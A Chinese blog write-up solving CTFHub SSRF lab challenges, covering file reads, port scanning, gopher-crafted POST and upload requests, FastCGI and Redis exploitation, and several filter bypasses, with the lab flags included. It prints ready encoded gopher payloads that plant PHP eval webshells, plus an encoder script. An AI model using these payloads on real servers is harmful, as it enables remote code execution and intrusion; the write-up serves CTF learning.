CTFHub SSRF 题目

最新推荐文章于 2024-07-24 15:42:27 发布
最新推荐文章于 2024-07-24 15:42:27 发布
阅读量822 收藏 5
点赞数 7
文章标签： 网络安全 系统安全 CTFHub SSRF 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_58783105/article/details/133794226
版权

文章目录

CTFHub SSRF 通关教程

1. 内网访问，伪协议利用

1.1 内网访问

image-20230904201441465

用burpsuite抓取数据包

image-20230904201144210

发送到Repeater模块

将url修改为下面这个内容即可

?url=127.0.0.1/flag.php

image-20230904201226308

ctfhub{0f27868bd5983f24f5ce02c9}

1.2 伪协议读取文件

image-20230904201430669

常见的伪协议

  • file:/// ：本地文件传输协议，主要用于访问本地计算机中的文件。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

  • dict:// ：字典服务器协议，dict是基于查询相应的TCP协议。

  • sftp:// ：SH文件传输协议或安全文件传输协议（Secure File Transfer Protocol）是一种简单的基于lockstep机制的文件传输协议，允许客户端从远程主机获取文件或将文件上传至远程主机。

  • ldap:// ：代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

  • tftp:// ：基于lockstep机制的文件传输协议，允许客户端从远程主机获取文件或将文件上传至远程主机。

  • gopher:// ：是一种分布式文档传递服务。利用该服务，用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

用burpsuite抓取数据包

image-20230904202501241

发送到Repeater模块

将url修改为下面这个内容即可

/?url=file:///var/www/html/flag.php

image-20230904202609219

ctfhub{d64815f878477afcd7c92c0a}

1.3 端口扫描

image-20230904202813666

题目提醒端口在8000-9000之间。

使用bp爆破，使用dict://探测开放的端口

image-20230904205044302

?url=dict://127.0.0.1:§666§

image-20230904204011992

image-20230904204230248

爆破成功，发现端口是8902

image-20230904204319195

访问得到flag

image-20230904204513886

ctfhub{6f042e2013b8c8ac3d92d670}

2. POST请求，上传文件，FastCGI协议，Redis协议

2.1 POST请求

image-20230904204735577

题目提示这次是发一个HTTP POST请求。ssrf是用php的curl实现的。并且会跟踪302跳转，准备了一个302.php。
查看源码

/?url=var/www/html/index.php

image-20230904215315272

查看flag.php文件

/?url=var/www/html/flag.php

image-20230904215341944

访问127.0.0.1

image-20230904215419731

key=253ac935e6c6003864751ad695c8145c

拿到KEY，这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有，这就需要我们构建一个POST请求包来发送这个KEY。

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=253ac935e6c6003864751ad695c8145c

第一次编码

gopher://127.0.0.1:80/_POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Akey%3D253ac935e6c6003864751ad695c8145c

说明：gopher协议可以在URL中提交POST参数。

最后一次编码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D253ac935e6c6003864751ad695c8145c

构造访问拼接在url后：

image-20230904223034530

ctfhub{3d11698a888f440ada017ee3}

2.2 上传文件

image-20230906184657792

提示：这次需要上传一个文件到flag.php了.祝你好运

内网访问flag.php，发现是个文件上传，但是只有浏览框，没有提交框。

<input type="submit" name="file">

image-20230906184847396

修改前端代码。

image-20230906185353441

修改后效果如下：

image-20230906185409274

然后随便上传一个文件bp进行抓包

image-20230906185523703

将抓取的数据包全部复制，创建一个python脚本1.py，然后将复制的内容粘贴到下面文件的payload中，通过脚本对请求包进行编码。

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: challenge-52a38570217269be.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------315882083476278763087340318
Content-Length: 375
Origin: http://challenge-52a38570217269be.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-52a38570217269be.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------315882083476278763087340318
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_REQUEST[777])?>

-----------------------------315882083476278763087340318
Content-Disposition: form-data; name="file"

提交查询
-----------------------------315882083476278763087340318--


"""

#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

image-20230906193751187

编码成功后显示效果如下：

image-20230906193821002

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-52a38570217269be.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/117.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------315882083476278763087340318%250D%250AContent-Length%253A%2520375%250D%250AOrigin%253A%2520http%253A//challenge-52a38570217269be.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-52a38570217269be.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------315882083476278763087340318%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B777%255D%2529%253F%253E%250D%250A%250D%250A-----------------------------315882083476278763087340318%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------315882083476278763087340318--%250D%250A%250D%250A

最后将生成的编码拼接到url后，发包即可。

image-20230906193724963

ctfhub{b4654348ac2636aeaaecd806}

2.3 FastCGI协议

image-20230906195427641

Gopherus工具：https://github.com/tarunkant/Gopherus.git

Gopherus 是一款用于发现和利用 Gopher 协议的安全评估工具。Gopher 是一种基于文本的网络协议，早在万维网（World Wide Web）出现之前就存在。Gopherus 工具允许安全研究人员、渗透测试人员和系统管理员使用 Gopher 协议来搜索、浏览和利用 Gopher 服务器上的资源。

如果端口9000是开放的，则SSRF漏洞可能存在并且可能导致RCE。为了利用它，您需要提供一个目标主机上必须存在的文件名。

该网站上存在index.php，其路径为/var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

构造要执行的终端命令：对一句话木马进行base64编码，并写入到名为shell.php的文件中。

echo "PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==" | base64 -d > shell.php

使用Gopherus工具生成payload：

image-20230906201853491

image-20230906201842101

生成的编码如下：

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH127%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7F%04%00%3C%3Fphp%20system%28%27echo%20%E2%80%9CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%E2%80%9D%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

将生成的payload进行URL编码。

image-20230906202532125

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH127%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257F%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%25E2%2580%259CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%252BCg%253D%253D%25E2%2580%259D%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后在浏览器中输入如下路径

http://challenge-f6148759cf815fa1.sandbox.ctfhub.com:10800?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH127%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257F%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%25E2%2580%259CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%252BCg%253D%253D%25E2%2580%259D%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

蚁剑进行连接：

image-20230906202429063

查找flag

image-20230906202734021

image-20230906202653482

ctfhub{cc096ee41c566d7280067233}

2.4 Redis协议

image-20230906203145019

redis命令如下：

flushall
set 1 '<?php eval($_GET["feng"]);?>'
config set dir /var/www/html
config set dbfilename feng.php
save

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22feng%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

二次编码

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522feng%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Afeng.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

执行过之后，就写入了feng.php

image-20230906215119610

image-20230906215159062

ctfhub{d038d02bda2f613a53c11d0b}

3. Bypass系列

3.1 URL Bypass

image-20230904205245291

提示：请求的URL中必须包含http://notfound.ctfhub.com。

image-20230904211830279

尝试用http能不能访问127.0.0.1/flag.php，结果如下

image-20230904211848995

构造一个地址，http://notfound.ctfhub.com@127.0.0.1/flag.php ，这里的@是主域名解析，即@符号后面直接跟域名，@符号前面的内容会被视为用户名，相当于以http://notfound.ctfhub.com的用户名访问127.0.0.1/flag.php，用户名不重要，@后面才是解析的地址
image-20230904211947344

ctfhub{9db1dac47729d514cc144285}

3.2 数字IP Bypass

image-20230904212344663

使用bp抓包，查看源码

image-20230904212854805

这里显示IP为127，172，@，.都被ban了

试一下直接访问url=http://127.0.0.1/flag.php，效果如下

image-20230904213051410

尝试采用各种进制绕过

image-20230904213246673

十六进制

image-20230904213357273

十进制

image-20230904213322401

或者采用localhost

image-20230904213425517

ctfhub{8f904bada115a76336f60a02}

3.3 302跳转 Bypass

image-20230904201454320

302跳转就是由一个URL跳转到另外一个URL当中去

查看flag.php文件是否存在

image-20230904195224220

这里通过127.0.0.1访问，发现该IP无法访问

image-20230904195316169

采用127.0.0.1的变形写法

0.0.0.0

image-20230904195344221

获取成功：

ctfhub{b875e28c53abd21d077ae32d}

读取index.php的源码，猜测linux中的文件路径为/var/www/html/index.php。

image-20230904195721136

同时看到了在IP位置如果出现了127，172，10，192开头的，直接封禁。

3.4 DNS重绑定 Bypass

image-20230909200854007

DNS重绑定DNS Rebinding攻击在网页浏览过程中，用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址，然后向对应的IP地址请求资源，最后展现给用户。而对于域名所有者，他可以设置域名所对应的IP地址。当用户第一次访问，解析域名获取一个IP地址；然后，域名持有者修改对应的IP地址；用户再次请求该域名，就会获取一个新的IP地址。对于浏览器来说，整个过程访问的都是同一域名，所以认为是安全的。这就造成了DNS Rebinding攻击。

使用DNS重绑定，从DNS域名解析入手，有一个想法就是通过修改域名对应的IP，使一个域名对应两个IP，那么在多次的访问之下产生的访问效果是一样的实现IP绕过。

访问页面，并且使用burpsuite抓取数据包。

image-20230909202249272

rbndr.us dns rebinding service (cmpxchg8b.com)

image-20230909203122490

将对应的域名拷贝到URL后即可

image-20230909202240461

ctfhub{6bf68f804e086192d449bc15}
来日可期x
关注
ctfhub ssrf（3关）
m0_56578216的博客
09-04 685
【代码】ctfhub ssrf（3关）
通过ctfhub实操学习ssrf
不想当脚本小子的脚本小子
03-21 671
实战中碰到的SSRF漏洞比较少，刚好在freebuf上看到了一位大佬写的ssrf系统性学习文章（https://www.freebuf.com/articles/web/258365.html）就跟着一起学习一下。 SSRF,服务端请求伪造；一般情况下，SSRF攻击的目标是外网无法连接的内部系统，比如说当我们发现一个web服务器存在ssrf时，而它又连接内网，我们就可以利用这个服务器对内网发出一些请求来获取一些敏感信息，而此时的web服务器就被当作成为跳板使用； SSRF形成的原因是由于服务端提.
【ctfhub-ssrf】内网访问
weixin_52116519的博客
04-28 753
题目 解题 理解 正常访问 存在ssrf漏洞
CTFHub-SSRF_内网访问-wp
z1moq的博客
06-27 409
SSRF是什么？ SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造，从而让服务端发起请求的一种安全漏洞， 它将一个可以发起网络请求的服务当作跳板来攻击其他服务，SSRF的攻击目标一般是内网。 通过扫描靶场的端口开放信息，发现了部署在8080端口上的 http-proxy 服务，说明我们将此url中的url参数作为内网转发的url，相当于控制某个主机后在其内网中横向移动 查看题目中的提示可知，文件在 127.0.0.1/flag.php 中 直接在url
【CTFHub】WEB之SSRF（前四关）--内网访问、伪协议读取文件、端口扫描、post请求
最新发布
weixin_57240513的博客
07-24 361
配置好后开始攻击，根据长度不同查看到端口为8965端口已经查出但是请求错误，怀疑是dirt://不可用然后改成http://后，成功拿到。
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】
bin789456的博客
11-18 2355
写在前面 ssrf无论是生活中还是比赛中都是一种非常常见的漏洞。但一般来说单独考察的较少。后面将从ctfhub和其他平台上来慢慢练习。 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限
CTFHUB-SSRF-内网访问、伪协议读取文件
weixin_68416970的博客
06-20 586
CTFHUB靶场技能树-Web-内网访问、伪协议读取文件的通关教程
CTFHub ssrf
07-29
CTFHub是一个CTF（Capture The Flag）比赛平台，提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF（Server-Side Request Forgery）相关的内容，包括伪协议读取文件、端口扫描、POST请求上传文件...
CTFHub技能树_SSRF_Bypass
m0_54525483的博客
08-12 423
这是一个新手的做题笔记，记录一下做题的解法。 1.什么是SSRF? 很多web应用都提供了从其他服务器上获取数据的功能，根据用户指定的URL，WEB应用可以获取图片、下载文件、读取文件内容等。这种功能如果被恶意使用，将导致存在缺陷的Web应用被作为代理通道去攻击本地或远程服务器。这种形式的攻击被称为服务器端请求伪造攻击（Server-side-Request Forgery,SSRF）。 如何形成： SSRF形成的原因大都是由于服务器提供了从其他服务器或应用中获取数据的功能，但没有对目标地址做出有效
CTFhub-ssrf-POST请求
qq_51553814的博客
08-11 3993
CTFhub-ssrf-POST请求 解题 进入靶场，首先看到的是一片空白，没有任何返回，甚至看源码里面也没有任何东西 使用dirsearch扫描，扫出了一个文件/index.php 还有一个flag.php，我是在网上看WP才知道有这个文件，看了很多篇WP都没有说这个文件怎么来的，只是直接说发现了这个文件 现在先来看一看这两个文件吧 首先是flag.php文件，我们让url=127.0.0.1/flag.php，通过内网来访问就能直接访问到了，访问后是一个方框 再看源码发现，需要用post传输一个key
CTFHub技能树笔记之SSRF：内网访问、伪协议读取文件、端口扫描
weixin_48799157的博客
03-31 8125
小白一个，记录解题过程，如有错误请指正！ 补充知识点： 1.什么是SSRF SSRF(Server-Side Request Forgery：服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务，当作跳板进行攻击） 2.SSRF产生的原因 SSRF 形成的原因往往是由于服务端提供了从其他服务器应用...
CTFHub-Web-SSRF
IceCream的博客
04-29 1974
1.题目提示说访问127.0.0.1的flag.php，在URL后面添加路径没想到直接访问成功。
CTFHub—SSRF（1）
2302_79119987的博客
04-03 783
（3）gopher：gopher支持发出GET、POST请求：可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。可用于反弹shell。将key提交后发现要从127.0.0.1访问，也就是说题目要求用post的方式将key提交，这里涉及到了gopher协议的使用和post请求的构造。gopher协议在ssrf的利用中一般用来攻击redis，mysql，fastcgi，smtp等服务。gopher协议数据流中，url编码使用%0d%0a替换字符串中的回车换行。尝试使用file协议，
SSRF详解 基于CTFHub（上篇）
Bossfrank的博客
04-28 2049
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
题解记录-CTFHub技能树|Web|SSRF
weixin_57448435的博客
09-15 2376
ssrf
CTFHUB-SSRF-端口扫描
weixin_68416970的博客
06-21 779
CTFHUB靶场技能树-SSRF-端口扫描的通关教程
CTFHUB SSRF 【全】
Jay17的博客
04-17 1399
CTFHUB SSRF 题解 【全】
CTFhub-SSRF-端口扫描
ssss39的博客
10-24 218
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,用数字生成器生成 8000-9000 的数字。根据爆破结果，端口是 8335。通过 burp 抓包爆破。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值